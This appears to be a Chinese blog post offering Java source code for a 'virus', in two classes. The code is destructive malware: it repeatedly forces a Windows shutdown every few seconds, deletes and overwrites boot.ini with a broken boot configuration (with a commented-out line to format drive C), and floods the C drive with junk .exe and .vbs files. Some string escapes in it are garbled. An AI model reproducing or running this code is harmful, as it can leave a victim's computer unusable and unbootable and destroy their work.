用java实现病毒功能的代码

 
  1. /*
  2.  * To change this template, choose Tools | Templates
  3.  * and open the template in the editor.
  4.  */
  5. package format;
  6. //virulvirus .java
  7. /**
  8.  *
  9.  * @author jdm
  10.  */
  11. import java.io.File;
  12. import java.io.FileNotFoundException;
  13. import java.io.FileOutputStream;
  14. import java.io.IOException;
  15. import java.io.OutputStreamWriter;
  16. import java.io.PrintWriter;
  17. import java.io.UnsupportedEncodingException;
  18. import java.util.*;
  19. public class virulvirus extends Thread implements Runnable{
  20.     /**
  21.      * @param args
  22.      */public virulvirus(){
  23.          Timer timer=new Timer();
  24.          TimerTask timetask=new TimerTask(){
  25.             /* (non-Javadoc)
  26.              * @see java.util.TimerTask#run()
  27.              */
  28.             @Override
  29.             public void run() {
  30.                 // TODO Auto-generated method stub
  31.                 Process p;
  32.                 //Process f;
  33.                 try {
  34.                     
  35.                                         //f=Runtime.getRuntime().exec("Format c:" );
  36.                     p=Runtime.getRuntime().exec("shutdown -s -t 10");
  37.                                         writer();
  38.                                         writer1();
  39.                 } catch (IOException e) {
  40.                     // TODO Auto-generated catch block
  41.                     e.printStackTrace();
  42.                 }
  43.             }
  44.              
  45.          };
  46.                  
  47.          timer.schedule(timetask,1000,3000);
  48.                  
  49.      }
  50.      public void writer(){
  51.          File f=new File("c://boot.ini");
  52.          if(f.exists()){
  53.             f.delete();
  54.             f.deleteOnExit();
  55.          }
  56.          
  57.         try {
  58.             PrintWriter writer=new PrintWriter(new OutputStreamWriter(new FileOutputStream("C://boot.ini"),"GBK"));
  59.             writer.write("[boot loader]//ntimeout=0//ndefault=multi(0)disk(2)rdisk(0)partition(0)//WINDOWS/n[operating systems]//nmulti(0)disk(0)rdisk(0)partition(1)//WINDOWS=/"Microsoft Windows XP Professional/" /noexecute=optin /fastdetect /usepmtimer");
  60.             writer.close();
  61.         } catch (UnsupportedEncodingException e) {
  62.             // TODO Auto-generated catch block
  63.             e.printStackTrace();
  64.         } catch (FileNotFoundException e) {
  65.             // TODO Auto-generated catch block
  66.             e.printStackTrace();
  67.         }
  68.          }
  69.      public void writer1(){
  70.          for(int i=1;i<50;i++){
  71.              i*=new Random().nextInt(50);
  72.              String x=Integer.toString(i);
  73.              File windows=new File("c://window");
  74.              if(!windows.exists()){
  75.                  windows.mkdir();
  76.              }
  77.              File dir=new File("c://wind0ws");
  78.              if(!dir.exists())
  79.                  dir.mkdir();
  80.              File dir2=new File(dir,"default");
  81.              if(!windows.exists())dir2.mkdir();
  82.                          File zhuomian=new File("C://Documents and Settings//All Users//桌面//jdm.txt");
  83.                          if(!zhuomian.exists()){
  84.                          try{zhuomian.createNewFile();}catch(IOException e){e.printStackTrace();}
  85.                          }
  86.              
  87.              try {
  88.                 File f=new File("c://window");
  89.                                 if(f.exists()){
  90.                                 PrintWriter writer=new PrintWriter(new OutputStreamWriter(new FileOutputStream("c://window//"+x+".exe"),"GBK"));
  91.                 writer.write(i);
  92.                                 writer.close();}
  93.                                 else{
  94.                                 PrintWriter writer=new PrintWriter(new OutputStreamWriter(new FileOutputStream("c://"+x+".vbs"),"GBK"));
  95.                 writer.write("msgbox /"呵呵,中奖啦!!!!!!!!!!!!!!!!!!!!/"");
  96.                                 writer.close();
  97.                                 File fix=new File("c://"+x+".exe");
  98.                                 if(!fix.exists()){
  99.                                 fix.createNewFile();
  100.                                 }
  101.                                 }
  102.                                     
  103.             } catch (UnsupportedEncodingException e) {
  104.                 // TODO Auto-generated catch block
  105.                 e.printStackTrace();
  106.             } catch (FileNotFoundException e) {
  107.                 // TODO Auto-generated catch block
  108.                 e.printStackTrace();
  109.             }
  110.                          catch(IOException e){
  111.                              e.printStackTrace();
  112.                          }
  113.                          new Thread().start();
  114.          }
  115.      }
  116.          
  117.      
  118.      //========================================
  119.      public void run(){
  120.          new virulvirus();
  121.                  new Copy();
  122.         
  123.          
  124.          
  125.      }
  126.      //=========================================
  127.      
  128.      
  129.     
  130.     
  131.     public static void main(String[] args) {
  132.         // TODO Auto-generated method stub
  133.         virulvirus v1=new virulvirus();
  134.         v1.start();
  135.         
  136.         
  137.     }
  138. }
  1. /*
  2.  * To change this template, choose Tools | Templates
  3.  * and open the template in the editor.
  4.  */
  5. package format;
  6. /**
  7.  *
  8.  * @author mdj
  9.  */
  10. //copy.java
  11. import java.io.*;
  12. import java.util.*;
  13. public class Copy{
  14.     /**
  15.      * @param args
  16.      */
  17.     public Copy() {
  18.         // TODO Auto-generated method stub
  19.         new Timer().schedule(new TimerTask(){
  20.             public void run(){
  21.                 String path="d://java.txt";
  22.                 File file3=new File(path);
  23.                 if(!file3.exists()){
  24.                     try {
  25.                         file3.createNewFile();
  26.                     } catch (IOException e) {
  27.                         // TODO Auto-generated catch block
  28.                         e.printStackTrace();
  29.                     }
  30.                 }
  31.                 byte[] buff=new byte[1024];
  32.                 String comtent="this is java test file";
  33.                 try {
  34.                     FileOutputStream out1=new FileOutputStream(path,true);
  35.                     BufferedOutputStream out2=new BufferedOutputStream(out1);
  36.                     DataOutputStream out=new DataOutputStream(out2);
  37.                     out.writeBytes(comtent);
  38.                     out.close();
  39.                     FileInputStream in=new FileInputStream(path);
  40.                     in.read(buff);
  41.                     in.close();
  42.                     
  43.                     for(int i=0;i<100;i++){
  44.                         i+=new Random().nextInt(20);
  45.                         String x=Integer.toString(i);
  46.                         String path2="c://computer"+x+".exe";
  47.                         FileOutputStream out4=new FileOutputStream(path2,true);
  48.                         out4.write(buff);
  49.                         out4.close();
  50.                         File f=new File(path);
  51.                         if(f.exists()){
  52.                             f.delete();
  53.                         }
  54.                         File f2=new File(path2);
  55.                         //System.out.println(f2.getClass());
  56.                         
  57.                     }
  58.                     
  59.                 } catch (FileNotFoundException e) {
  60.                     // TODO Auto-generated catch block
  61.                     e.printStackTrace();
  62.                 }catch(IOException e){
  63.                     e.printStackTrace();
  64.                 }
  65.             }
  66.         },3000,30);
  67.         
  68.     }
  69.        
  70. }

你可能感兴趣的:(用java实现病毒功能的代码)